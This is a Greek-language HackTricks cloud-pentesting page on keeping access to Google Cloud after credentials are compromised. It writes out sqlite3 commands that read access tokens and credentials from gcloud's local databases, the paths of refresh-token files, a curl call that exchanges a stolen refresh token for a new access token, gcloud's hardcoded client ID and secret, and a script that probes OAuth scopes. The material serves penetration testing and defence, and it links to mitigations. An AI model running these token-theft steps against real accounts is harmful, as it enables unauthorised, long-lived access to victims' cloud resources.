GCP - Non-svc Persistance

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Ερυθρού Συνεργείου HackTricks AWS)!

Άλλοι τρόποι υποστήριξης των HackTricks:

Αυτές είναι χρήσιμες τεχνικές όταν, με κάποιον τρόπο, έχετε αφαιρέσει ορισμένα διαπιστευτήρια GCP ή μηχάνημα που εκτελείται σε ένα περιβάλλον GCP.

Απαγωγή Διακριτικού

Διακριτικά Χρήστη που Έχουν Ελεγχθεί

Για να λάβετε το τρέχον διακριτικό ενός χρήστη μπορείτε να εκτελέσετε:

sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"

Ελέγξτε σε αυτήν τη σελίδα πως να χρησιμοποιήσετε απευθείας αυτό το τοκεν χρησιμοποιώντας το gcloud:

Για να λάβετε τις λεπτομέρειες για τη δημιουργία ενός νέου τοκεν πρόσβασης εκτελέστε:

sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"

Είναι επίσης δυνατόν να βρείτε refresh tokens στο $HOME/.config/gcloud/application_default_credentials.json και στο $HOME/.config/gcloud/legacy_credentials/*/adc.json.

Για να λάβετε ένα νέο ανανεωμένο access token με το refresh token, τον αριθμό ταυτοποίησης πελάτη (client ID) και το μυστικό του πελάτη (client secret), εκτελέστε:

curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token

Η ισχύτητα των refresh tokens μπορεί να διαχειριστεί στο Admin > Security > Google Cloud session control, και από προεπιλογή είναι ρυθμισμένη σε 16 ώρες, αν και μπορεί να οριστεί να μην λήξει ποτέ:

Ροή Εξουσιοδότησης

Η ροή εξουσιοδότησης όταν χρησιμοποιείτε κάτι σαν το gcloud auth login θα ανοίξει ένα παράθυρο στον περιηγητή και μετά την αποδοχή όλων των scopes, ο περιηγητής θα στείλει ένα αίτημα όπως το παρακάτω στη θύρα http που είναι ανοικτή από το εργαλείο:

/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1

Στη συνέχεια, το gcloud θα χρησιμοποιήσει την κατάσταση και τον κώδικα με ένα σκληροκωδικοποιημένο client_id (32555940559.apps.googleusercontent.com) και client_secret (ZmssLNjJy2998hD4CTg2ejr2) για να λάβει τα δεδομένα τελικού ανανεωμένου τεκμηρίου.

Σημειώστε ότι η επικοινωνία με το localhost γίνεται μέσω HTTP, οπότε είναι δυνατόν να παρακολουθηθούν τα δεδομένα για να ληφθεί ένα ανανεωμένο τεκμήριο, ωστόσο αυτά τα δεδομένα είναι έγκυρα μόνο μία φορά, οπότε αυτό θα ήταν άχρηστο, είναι πιο εύκολο απλά να διαβάσετε το τεκμήριο ανανέωσης από το αρχείο.

Εμβέλειες OAuth

Μπορείτε να βρείτε όλες τις εμβέλειες της Google στο https://developers.google.com/identity/protocols/oauth2/scopes ή να τις λάβετε εκτελώντας:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u

Είναι δυνατόν να δούμε ποιες είναι οι εμβέλειες που μπορεί να υποστηρίξει η εφαρμογή που χρησιμοποιεί το gcloud για πιστοποίηση με αυτό το σενάριο:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope         \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done

Μετά την εκτέλεσή του ελέγχθηκε ότι αυτή η εφαρμογή υποστηρίζει αυτές τις εμβέλειες:

https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email

Λογαριασμοί Υπηρεσιών

Όπως και με τους εξουσιοδοτημένους χρήστες, αν καταφέρετε να διαρρήξετε το αρχείο ιδιωτικού κλειδιού ενός λογαριασμού υπηρεσίας, θα μπορείτε να έχετε πρόσβαση σε αυτό συνήθως όσο θέλετε. Ωστόσο, αν κλέψετε το token OAuth ενός λογαριασμού υπηρεσίας, αυτό μπορεί να είναι ακόμη πιο ενδιαφέρον, επειδή, ακόμη κι αν από προεπιλογή αυτά τα tokens είναι χρήσιμα μόνο για μία ώρα, αν ο θύμα διαγράψει το ιδιωτικό κλειδί api, το token OAuth θα παραμείνει έγκυρο μέχρι να λήξει.

Μεταδεδομένα

Φυσικά, όσο βρίσκεστε μέσα σε μια μηχανή που τρέχει στο περιβάλλον GCP θα μπορείτε να έχετε πρόσβαση στον λογαριασμό υπηρεσίας που είναι συνδεδεμένος με αυτή τη μηχανή επικοινωνώντας με το τέλος μεταδεδομένων (σημειώστε ότι τα tokens OAuth που μπορείτε να έχετε πρόσβαση σε αυτό το τέλος είναι συνήθως περιορισμένα από scopes).

Διορθώσεις

Ορισμένες διορθώσεις για αυτές τις τεχνικές εξηγούνται στο https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2

Αναφορές

Last updated